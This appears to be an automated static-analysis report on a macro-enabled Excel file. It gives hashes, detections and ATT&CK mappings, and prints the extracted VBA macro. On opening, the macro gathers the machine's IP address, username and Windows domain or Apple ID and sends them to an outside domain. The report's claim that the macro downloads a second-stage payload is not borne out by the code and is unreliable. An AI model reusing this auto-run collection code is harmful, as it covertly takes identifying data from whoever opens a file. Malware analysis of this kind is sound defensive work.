Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 77253752ba893fae…

MALICIOUS

Office (OOXML)

14.6 KB Created: 2018-04-11 20:25:30 UTC Authoring application: Microsoft Macintosh Excel 14.0300 First seen: 2021-09-29
MD5: c33c0dc20c7a4b4ad06cc317e354d911 SHA-1: fd22a0c441cc5d87772260c543d329768f608534 SHA-256: 77253752ba893fae8ce51a49920323ced855b3acbd9dfda4c34efceb55a45bd3
388 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains a Workbook_Open macro that executes VBA code. This code uses WScript.Shell and CreateObject to construct a URL, which is then used to attempt a download via Application.Workbooks.CanCheckOut. This indicates the macro is designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Valyria-10010011-0' further supports the malicious nature of the file.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-10010011-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10010011-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6916 bytes
SHA-256: 7fa3270834048784376fbc951725e3a36920a64e99a234335df5e4f1f23ea005
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    #If Mac Then
        ip = Module1.Mac_Get_IP
        username = Module1.Mac_Get_Username
        appid = Module1.Mac_Get_AppleID
        request = Module1.Mangle_Request(appid, username, ip, "M")
    #Else
        ip = Module1.Windows_Get_IP
        username = Module1.Windows_Get_Username
        domain = Module1.Windows_Get_Domain
        request = Module1.Mangle_Request(domain, username, ip, "W")
    #End If
    Module1.Trigger_Token (request)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Option Explicit
Public Const BASE = ".po8r0baj1qezy5k4ybp2ge9pp.cbcb29a6623a.o3n.io..................................................................................................."
Public Const EOS = "..."

Public Function Trigger_Token(request As String)
    On Error GoTo Err_Trigger
    Application.Workbooks.CanCheckOut ("http://" & request)
    
Err_Trigger:
    Exit Function
    
End Function

Public Function Mac_Get_IP() As String
    On Error GoTo Err_IP
    Dim RetVal As String
    Dim IPAddress() As String
    Dim Length As Integer
    Dim script As String
    script = "do shell script ""ifconfig"""
    RetVal = MacScript(script)
    IPAddress = Split(Split(RetVal, "status: active")(0), "inet")
    Length = UBound(IPAddress) - LBound(IPAddress) + 1
    Mac_Get_IP = Split(Trim(IPAddress(Length - 1)), " ")(0)
    
Exit_IP:
    Exit Function

Err_IP:
    Mac_Get_IP = "none"
    Resume Exit_IP
End Function

Public Function Mac_Get_AppleID() As String
    On Error GoTo Err_AppleID
    Dim RetVal As String
    Dim script As String
    #If MAC_OFFICE_VERSION >= 15 Then
        Dim User As String
        Dim Email As String
        Dim EmailArr() As String
        Dim Length As Integer
        User = MacScript("do shell script ""id -un"" ")
        script = "do shell script ""dscl . -read /Users/" & User & " RecordName"""
        RetVal = MacScript(script)
        EmailArr = Split(RetVal, " ")
        Length = UBound(EmailArr) - LBound(EmailArr) + 1
        Dim i As Integer
        For i = 0 To Length - 1
            If EmailArr(i) Like "*@*" Then
                RetVal = EmailArr(i)
                Exit For
            End If
        Next i
    #Else
        script = "tell application " & Chr(34) & "Mail" & Chr(34) & _
        " to get email addresses of every account"
        RetVal = MacScript(script)
    #End If
    Mac_Get_AppleID = Trim(RetVal)

Exit_AppleID:
    Exit Function

Err_AppleID:
    Mac_Get_AppleID = "none"
    Resume Exit_AppleID
    
End Function

Public Function Mac_Get_Username() As String
    On Error GoTo Err_Username
    Dim sUsername As String
    sUsername = Environ$("USER")
    Mac_Get_Username = sUsername
    
Exit_Username:
    Exit Function

Err_Username:
    Mac_Get_Username = "none"
    Resume Exit_Username
    
End Function

Public Function Windows_Get_IP() As String
    On Error GoTo Err_IP
    Dim WshShell As Object
    Dim oExec As Object
    Dim sOutput As String
    Dim sArr() As String
    Set WshShell = VBA.CreateObject("WScript.Shell")
    Set oExec = WshShell.exec("ipconfig.exe")
    oExec.StdIn.Write "/a"
    sOutput = oExec.StdOut.ReadAll()
    sArr = Split(Split(Split(sOutput, "IPv4 Address")(1), ":")(1), " ")
    Windows_Get_IP = Replace(Replace(Trim(sArr(1)), Chr(10), ""), Chr(13), "")
    
Exit_IP:
    Exit Function
    
Err_IP:
    Windows_Get_IP = "none"
    Resume Exit_IP
    
End Function

Public Function Windows_Get_Username() As String
    On Error GoTo Err_Username
    Dim s
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23552 bytes
SHA-256: 76720a0a520058ae15dcb847a9c55ee1dfe18a934cda96cb3baec0ba2ac38baf
Detection
ClamAV: Doc.Malware.Valyria-10010011-0
Obfuscation or payload: unlikely

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